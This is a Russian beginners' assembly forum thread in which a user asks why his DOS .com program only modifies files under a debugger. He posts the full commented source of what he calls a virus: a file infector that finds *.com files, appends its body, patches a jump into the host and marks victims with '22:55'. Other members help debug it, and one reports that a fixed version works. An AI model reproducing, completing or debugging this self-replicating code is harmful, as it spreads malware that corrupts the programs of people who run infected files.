В AFDPro работает, в обычном запуске - нет?

Тема в разделе "WASM.BEGINNERS", создана пользователем _mm_, 20 май 2011.

  1. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Друзья, подскажите, в чём может быть проблема.
    Конечная com-программа ищет файлы, читает, изменяет такие же (по маске *.com) и записывает их на диск.
    Если её просто запускать - программа запускается, но файлы в каталоге не изменяет.
    Если её запускать через AFDPro и исполнять пошагово (F2) - программа файлы изменяет и записывает на диск, ошибок не выводит.
    DTA перед поиском файлов сохраняется (пробовал и так и эдак - и переустанавливал область DTA, и DTA не менял, а просто переносил 80h байт с адреса 80h в другое место, а потом восстанавливал).
    Стек тоже в порядке (если смотреть в отладчике - лишнего ничего нет).

    Может, есть какие-то особые случаи? Разница в том и другом запуске - именно в использовании стека программы отладчиком?
     
  2. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    Что значит "просто запускать". Ты уверен что рабочая папка программы правильная.
    Кроме отладчиков есть еще отладочная печать. А спрашивать и вместо инфы давать свои измышления - это плохой тон. Это вам к экстрасенсам :)
     
  3. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Да, уверен, он же ищет файлы только в своей папке. Исходных кодов несколько и давать их всех неудобно (это не просто код, а результат работы другой программы, то есть если давать, то сразу все исходные коды и инструкцию вдобавок). Просто хотелось понять, куда копать, если по простому Enter запускается, но соседний файл не перезаписывает, а по F2 в отладчике - перезаписывает. Может как-то связаны функции 40h и стек или DTA? Или попробовать например SoftICE? Напрягает то, что ошибок в отладчике нет, всё работает по заданному алгоритму.

    Ах да, могу дать скомпилированный com-файл, о котором идёт речь, если это не будет плохим тоном.
     
  4. asd

    asd New Member

    Публикаций:
    0
    Регистрация:
    12 мар 2005
    Сообщения:
    952
    Адрес:
    Russia
    _mm_
    Вам уже посоветовали - используйте отладочные сообщения. Логируйте всё: полные имена файлов, результаты прерываний...
     
  5. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Спасибо! Но не могли бы Вы кинуть ссылкой на то, как это делается (общие принципы)?
     
  6. asd

    asd New Member

    Публикаций:
    0
    Регистрация:
    12 мар 2005
    Сообщения:
    952
    Адрес:
    Russia
    _mm_
    У вас есть прерывание, через которое выводится строчка на экран(10h если мне память не изменяет). Вот и вызывайте его в тех точках программы, где рождаются данные, которые влияют на дальнейшее исполнение программы. К примеру вы сформировали путь до файла, который хотите открыть, выведите этот путь на экран. Или же вы прочитали значение внутри файла по какому-то смещению, и от этого значения зависят ваши последующие действия - выводите его, а потом анализируйте то, что у вас на экране.
    Вобщем вот http://ru.wikipedia.org/wiki/Отладка_программы
     
  7. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    По сути, в отладчике работает функция 40h, а в деле нет. Почитал доки, пишут, что в AX после прерывания 21h находится код ошибки. А в AL - число считанных байт. У меня после выполнения функции 40h в AX появляется число 0190h. Какой получается тут код? Не 190 же - такого в доках нет?

    Upd. Использовал дополнительно функцию 59h. Кстати, после выполнения функции 40h теперь в АL появилось число 97 - может действительно какая-то длина пишется? Но после выполнения 59h значения такие:

    AX = 0008h
    BX = 0104h
    CX = 0197h

    "Выход AX -расширенный код ошибки (0, если не было ошибки)
    BH класс ошибки
    BL предлагаемое действие
    CH сфера (где произошла ошибка)"

    Получается, ошибка 8 - недостаточно памяти? А 04 - какое-то действие? Что можно посоветовать в данном случае?
     
  8. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    _mm_
    А сколько ,байт данных пишете в фаил? Ты должен смотреть возращаемое в АХ значение и сравнивать с числом байт в СХ, если АХ<CX, то происходит переполнение буфера! В ВL 04 это значит, что нужно аварийно завершить программу, но перед этим сохранить данные(сбросить буфер на диск)
     
  9. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Я пишу ровно 353 + 23 байта. Как может происходить переполнение?

    P.S. Алгоритм следующий.
    Программа загружается с адреса 100h (тип com)
    Занимает примерно 400 байт.
    За собой в конце выделяет 100 байт. За ними - загружается в память простой файл (23 байта). За ней - ещё 3 байта, и позади - тело программы (350 байт). Вот эти 23 + 3 + 350 байт, идущие последовательно, и записываются в считанный файл функцией 40h.
     
  10. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Приложи архив с скопилированным файлом и исходник, можно без комментариев. И еще ты в эмуляторе запускаешь прогу на исполнение? Мой тебе совет попробовать в настоящей дос
     
  11. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Архив http://asm.ms/1.rar
    В нём два файла .com
    Первый - HELLO.COM, который нужно запускать, когда в папке находится файл hello2.com (23 байта).

    Вот исходный текст, но не всей программы, а части, находящейся в файле HELLO.COM

    Код (Text):
    1. metka2:
    2. ;+--------------------------------------------------------------+
    3. ;| Конец зарезервированной области памяти.                      |
    4. ;| Начало вируса. Сохраняем по традиции регистры.               |
    5. ;+--------------------------------------------------------------+
    6. pushf                                           ;Сохраняем регистры.
    7. pusha
    8.                                      
    9. mov Length_file,cx                              ;Сохраним длину файла при старте (в CX).
    10. call $+3                    ;Переход на следующую команду с убиранием текущего адреса
    11.                         ;в стек (сохранится адрес команды pop dx)
    12. pop dx                          ;Извлекаем его
    13. sub dx,9                    ;и вычитаем 9 байт - длина нашего всего от pop dx до ret, включительно
    14.  
    15. mov ax,dx                                       ;В ax - адрес начала вируса.
    16. mov Begin_virus,ax                              ;Запомним его.
    17.  
    18. mov cx,Length_file
    19. add cx,100h
    20. sub cx,Begin_virus
    21. mov Length_virus,cx                             ;Length_virus - длина программы - вируса.
    22.  
    23. mov si,Length_file
    24. add si,100h                                     ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
    25. sub si,Length_virus                             ;В Length_virus - длина вируса. Итого в SI - начало области вируса.
    26. sub si,3
    27.  
    28. mov di,100h                                     ;Восстанавливаем 3 байта в начало реальной программы.
    29. mov cx,3
    30. rep movsb
    31.  
    32.  
    33. ;+--------------------------------------------------------------+
    34. ;| Конец фрагмента восстановления трёх байт.                    |
    35. ;| Следующий фрагмент - установка DTA.                          |
    36. ;| Зарезервируем на всякий случай 100h байт для круглого счёта  |
    37. ;| (PSP, а вообще DTA находится по адресу 80h).                 |
    38. ;+--------------------------------------------------------------+
    39.  
    40. mov ah,1Ah                      ;Установка DTA, поскольку DTA находится сейчас неизвестно где.
    41. mov dx,80h
    42. int 21h
    43.  
    44. ;+--------------------------------------------------------------+
    45. ;| Поиск первого файла по маске в текущем каталоге              |
    46. ;+--------------------------------------------------------------+
    47.  
    48. call Find_first1                                ;Ищем первый файл.
    49. jc exit                                         ;Нет com-файлов - на выход.
    50.  
    51. ;+--------------------------------------------------------------+
    52. ;| Начало основного цикла поиска файлов по маске *.com          |
    53. ;| И их заражения, если они ещё не заражены.                    |
    54. ;+--------------------------------------------------------------+
    55.  
    56. goto_cikl1:                                     ;Начало цикла.
    57.                                                        
    58. mov ax,3D02h                                    ;Загружаем в регистр ah число 3Dh (функция открытия
    59.                                                 ;файла с записью), а в al число 02h (пишем в конец).
    60.                                                 ;Можно было записать и так - mov ah,3Dh
    61.                                                 ;mov al,02h
    62.  
    63. mov dx,9Eh                              ;Указываем адрес файла в DTA (Длина файла + 100h + 1Eh).
    64. int 21h                                         ;Выполняем функцию.
    65.  
    66. mov Handle1,ax                                  ;При открытии файлу будет присвоен номер, его и
    67.                                                 ;сохраняем для дальнейших действий,
    68. mov bx,ax                                       ;а заодно и сохраняем его в bx.
    69.  
    70. mov ah,3Fh                                      ;Читаем файл
    71. mov cx,1024                                     ;с длиной (например) 1Кб.
    72.  
    73. mov dx,Length_file
    74. add dx,200h                                 ;DX устанавливаем за DTA.
    75. int 21h                                         ;Выполняем функцию.
    76.  
    77. push dx                                         ;Помещаем в стек адрес начала считанного файла.
    78. push ax                                         ;Помещаем в стек длину считанного файла.
    79.  
    80. mov Length_new_file,ax
    81.  
    82. ;+--------------------------------------------------------------+
    83. ;| Если хотя бы один файл по маске в каталоге есть, мы его      |
    84. ;| загружаем в память. Но мы ещё не знаем, заражён ли он?       |
    85. ;+--------------------------------------------------------------+
    86.  
    87. call Name_virus
    88. mov si,dx                               ;Проверяем, "заражён" ли файл.
    89.  
    90. pop dx
    91.  
    92. mov di,dx
    93. mov dx,ax                                       ;Запоминаем ax.
    94.  
    95. pop ax
    96. add di,ax                                       ;DX = начало области нового файла, AX = истинная длина.
    97. sub di,5                                        ;DI установлен на конец считанного файла - 5 байт (начало метки).
    98. mov cx,5                                        ;Длина сравнения - 5 байт.
    99. repe cmpsb
    100. je close_file1                                  ;Если в конце файла уже находится метка 22:55, закрываем файл.
    101.  
    102. ;+--------------------------------------------------------------+
    103. ;| Сейчас самое время для того, чтобы вычислить новую длину     |
    104. ;| файла, которого мы прочитали и который находится в памяти    |
    105. ;+--------------------------------------------------------------+
    106.  
    107. mov Length_new_file,3h
    108. mov cx,Length_virus
    109. add Length_new_file,cx              ;В Length_new_file будет длина нового файла с вирусом. Осталось прибавить длину файла.
    110. mov ax,dx                                       ;Восстанавливаем ax.
    111. add Length_new_file,ax              ;Новая длина файла с вирусом.
    112.  
    113. push ax                                         ;В стеке - опять число реально прочитанных байт.
    114.  
    115. ;+--------------------------------------------------------------+
    116. ;| Сохраним первые оригинальные три байта в его собственном     |
    117. ;| конце                                                        |
    118. ;+--------------------------------------------------------------+
    119.  
    120. mov si,Length_file
    121. add si,200h                                 ;Переносим 3 байта c начала программы в конец.
    122. mov di,si
    123. add di,ax                                       ;В di - адрес области за всем файлом.
    124. mov cx,3                                        ;Перемещаем (сохраняем) 3 байта.
    125. rep movsb
    126.  
    127.                                             ;В di хранится адрес начала области нашей программы восстановления.
    128. push di                                         ;А именно весь наш вирус за исключением первых трёх байт.
    129.  
    130. ;+--------------------------------------------------------------+
    131. ;| Заменяем первые три байта на конструкцию jmp xx              |
    132. ;+--------------------------------------------------------------+
    133.  
    134. mov si,Length_file
    135. add si,200h
    136. mov byte ptr cs:[si],0EBh                       ;Первый байт = jmp
    137.  
    138. pop ax
    139. pop cx
    140.  
    141. add cx,101h                                     ;Плюс 100h + 3 NOP и плюс начало двух перенесённых байт.
    142.  
    143. mov si,Length_file
    144. add si,201h
    145. mov word ptr cs:[si],cx                         ;Ещё два байта = адрес, куда "прыгать" (адрес области с вирусом).
    146.                         ;Сейчас cx указывает совсем не туда, но это сработает,
    147.                         ;когда запустится заражённый файл.
    148.  
    149. ;+--------------------------------------------------------------+
    150. ;| Реплицируем тело вируса                                      |
    151. ;+--------------------------------------------------------------+
    152.  
    153. mov si,Begin_virus                              ;Переносим х байт c начала адреса смещения
    154. mov di,ax                                       ;в конец нашей программы, за нашими сохранёнными байтами.
    155. mov di,Length_file
    156. add di,200h
    157. add di,Length_new_file
    158. sub di,Length_virus
    159.  
    160.  
    161.                                                 ;Сколько байт переносить?
    162.  
    163. mov cx,Length_virus                             ;Длина вируса у нас не меняется.
    164. NOP
    165. rep movsb
    166.                                                 ;Метка. Почему-то после заражения hello2.com через отладчик
    167. NOP                                             ;этот байт меняется на INT 3
    168.  
    169. ;+--------------------------------------------------------------+
    170. ;| Записываем новый файл из памяти                              |
    171. ;+--------------------------------------------------------------+
    172. mov dx,0h                                       ;Устанавливаем указатель с начала файла +0h.
    173. mov cx,0h                                       ;+0h мы указали потому, что будем
    174. mov ax,4200h                                    ;перезаписывать считанный файл с первого байта.
    175. int 21h
    176.  
    177.  
    178. mov ah,40h                                      ;Записываем программу
    179. mov bx,Handle1
    180. mov dx,Length_file
    181. add dx,200h                             ;с адреса: 100h + длина старого файла + 100h DTA.
    182. mov cx,Length_new_file
    183. int 21h
    184.  
    185. mov ah,59h
    186. mov bx,0h
    187. int 21h
    188.  
    189. ;+--------------------------------------------------------------+
    190. ;| Закрываем файл.                                              |
    191. ;+--------------------------------------------------------------+
    192.  
    193. close_file1:
    194.  
    195. mov ah,3Eh                                      ;Используем функцию закрытия файла.
    196. mov bx,Handle1                                  ;Для закрытия обязательно "вспоминаем" его номер,
    197.                                                 ;номер у нас был сохранён в Handle1.
    198. int 21h                                         ;Выполняем функцию.
    199.  
    200. ;+--------------------------------------------------------------+
    201. ;| Первый файл инфицировали. Может, есть ещё файлы?             |
    202. ;+--------------------------------------------------------------+
    203.  
    204. call Find_next1                                 ;Ищем следующий файл.
    205. jnc goto_cikl1                                  ;Нашли ещё один файл; прыгаем на метку.
    206.  
    207. ;+--------------------------------------------------------------+
    208. ;| Окончание работы программы. Восстановим всё, как было.       |
    209. ;+--------------------------------------------------------------+
    210.  
    211. exit:
    212. popa                                            ;Восстанавливаем регистры.
    213. popf
    214.  
    215. ;+--------------------------------------------------------------+
    216. ;| Передаём управление на 100h так, чтобы не намусорить в       |
    217. ;| регистрах.                                                   |
    218. ;+--------------------------------------------------------------+
    219.  
    220. push 100h
    221. ret                                             ;Безусловный переход в начало программы.
    222.  
    223. ;+--------------------------------------------------------------+
    224. ;| Область подпрограмм                                          |
    225. ;+--------------------------------------------------------------+
    226.  
    227. Find_first1 proc                                ;Подпрограмма поиска первого файла.
    228. mov ah,4Eh                                      ;Ищем первый файл по маске (функция 4Eh).
    229. xor cx,cx                                       ;Атрибуты обычные. Смотрим, что в CX.
    230.  
    231. call $+3                    ;Переход на следующую команду с убиранием текущего адреса
    232.                         ;в стек (сохранится адрес команды pop dx)
    233. pop dx                          ;Извлекаем его
    234. add dx,7                    ;и добавляем 7 байт - длина нашего всего от pop dx до ret, включительно
    235. int 21h                         ;в dx - правильный адрес строки
    236. ret
    237. db '*.com',0                                ;Маска файла для заражения.
    238. Find_first1 endp
    239.                                                 ;Подпрограмма поиска следующего файла.
    240. Find_next1 proc  
    241. mov dx,80h                                
    242. xor cx,cx                                       ;CX=0.
    243. mov ah,4Fh                                      ;4Fh - поиск следующего файла.
    244. int 21h                                         ;В DTA заносится имя найденного файла.
    245. ret
    246. Find_next1 endp
    247.  
    248. Name_virus proc
    249. call $+3                    ;Переход на следующую команду с убиранием текущего адреса
    250.                         ;в стек (сохранится адрес команды pop dx)
    251. pop dx                          ;Извлекаем его
    252. add dx,5                    ;и добавляем 5 байт - длина от pop dx до значения 22:55
    253. ret
    254. db '22:55'                              ;Маска файла для заражения.
    255. Name_virus endp
    256.  
    257. Restore_dta proc
    258. mov si,Length_file
    259. add si,100h                                     ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
    260. mov di,80h                                      ;Восстанавливаем 80h байт в начало.
    261. mov cx,80h
    262. rep movsb
    263. ret
    264. Restore_dta endp
    265.  
    266. Save_dta proc
    267. mov di,Length_file
    268. add di,100h                                     ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
    269. mov si,80h                                      ;Восстанавливаем 80h байт в начало.
    270. mov cx,80h
    271. rep movsb
    272. ret
    273. Save_dta endp
    274.  
    275. ;+--------------------------------------------------------------+
    276. ;| Область переменных                                           |
    277. ;+--------------------------------------------------------------+
    278.  
    279. Handle1 dw 0h                                   ;Определяем переменную (для идентификатора файла).
    280.  
    281. Length_virus dw 0h                              ;Зарезервируем переменную с длиной вируса.
    282.  
    283. Length_file dw 0h                               ;Зарезервируем переменную с длиной файла (то, что в cx при старте).
    284.  
    285. Length_new_file dw 0h                           ;Зарезервируем переменную с длиной файла.
    286.                                                  
    287. Begin_virus dw 0h                               ;Переменная адреса начала вируса.
    288.  
    289. db '22:55'                                  ;Просто идентификатор вируса.
     
  12. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    А как ты память выделяешь. Дос контролирует ее. Лучше зарезервировать, а не просто плюсовать указатели. Или придется использовать INT 21. А в отладчике по-моему вся память сразу выделяется(я точно не помню, но нарывался на такое в каком-то отладчике). Может в этом дело?
     
  13. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Возможно, но это 100 байт под DTA (100 для круглого счёта мне, вообще надо 80h). Как я с ней только не возился. И устанавливал фиксированно позади. И оставлял как есть, а байты DTA перебрасывал временно (на период поиска), а потом восстанавливал (в конце кода есть даже подпрограммы). И даже выделял массив. Но ничего не помогло.

    Но проблема, как мне кажется, именно с переполнением чего-либо. Ведь в командной строке не работает, в AFDPro работает - но очень странно. При репликации тела (350 байт) в следующий файл вдруг после байтов rep movsb вдруг появляется (в отладчике) вместо NOP'а некая инструкция INT 3. Хотя длина второго файла становится как у первого - как и должно быть. Так как побайтно сливается всё тело за одну операцию, и ошибок тут явно быть не может, что-то мне кажется, что какие-то фишки с переполнением, что-то куда-то смещается.
     
  14. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Брат твой com трет сам себя!
    Код (Text):
    1. mov ah,3Fh                                      ;Читаем файл
    2. mov cx,1024                                     ;с длиной (например) 1Кб.
    3.  
    4. mov dx,Length_file  <------тут ноль, а должен быть указатель на буфер куда читаем!!!
    5. add dx,200h           <------а тут трем сами себя начиная с адреса 200h
    6. int 21h
    Length_file dw 0h ;Зарезервируем переменную с длиной файла (то, что в cx при старте).
     
  15. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Это Вы в отладчике посмотрели (ничего, что на Вы)?

    По тексту нет: смотри строчку в самом начале:

    Код (Text):
    1. mov Length_file,cx                              ;Сохраним длину файла при старте (в CX).
    В отладчике именно в этой версии кода - тоже нет, число 200h прибавляется к длине (DX = 197h).

    За этим я слежу, тем более были по неопытности случаи, когда я сохранял вместо DTA всё PSP и у меня почему-то обнулялись все переменные, стек и т.д. Но сейчас такого точно нет, да и не работала бы программа даже через отладчик.
     
  16. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    DTA - это просто обозначение. Память под него ты либо используешь готовую в начале, либо будь добр выдели. Проверить легко : выполни int 21 с запросом на имеющуюся память для программы и сравни в отладчике и просто.
     
  17. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Да, я имел в виду умозрительное "область для сохранения DTA" или работы с ним в будущем. Когда ты на листочке схемку будущей программы рисуешь.
     
  18. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Смотри архив, у меня работает. Только заражается не только HelloWord, но и сам вирус. Я думаю это из за того, что в своем .сом ты указал фиксированную длинну 400Н и дальше расчеты проверки сигнатуры идут уже не верные, хотя как мне показалось в них тоже есть ошибка
     
  19. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Смотри архив, у меня работает. Только заражается не только HelloWord, но и сам вирус. Я думаю это из за того, что в своем .сом ты указал фиксированную длинну 400Н и дальше расчеты проверки сигнатуры идут уже не верные, хотя как мне показалось в них тоже есть ошибка
     
  20. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    У меня почему-то он не скачивается...
    400h - это длина любого найденного файла при открытии (1Кб). Я так и не понимаю до сих пор, зачем её указывать, если в AX всё равно возвращается истинная длина. По-моему, считывается не больше, чем указано в CX (но это моё предположение).

    Код (Text):
    1. mov ah,3Fh                                      ;Читаем файл
    2. mov cx,1024                                     ;с длиной (например) 1Кб.
    В AFDPro у меня собственный файл тоже не заражается, так после считывания идёт проверка на метку в конце файла (5 байт).

    Код (Text):
    1. ;+--------------------------------------------------------------+
    2. ;| Если хотя бы один файл по маске в каталоге есть, мы его      |
    3. ;| загружаем в память. Но мы ещё не знаем, заражён ли он?       |
    4. ;+--------------------------------------------------------------+
    5.  
    6. call Name_virus
    7. mov si,dx                                ;Проверяем, "заражён" ли файл.
    8.  
    9. pop dx
    10.  
    11. mov di,dx
    12. mov dx,ax                                       ;Запоминаем ax.
    13.  
    14. pop ax
    15. add di,ax                                       ;DX = начало области нового файла, AX = истинная длина.
    16. sub di,5                                        ;DI установлен на конец считанного файла - 5 байт (начало метки).
    17. mov cx,5                                        ;Длина сравнения - 5 байт.
    18. repe cmpsb
    19. je close_file1                                  ;Если в конце файла уже находится метка 22:55, закрываем файл.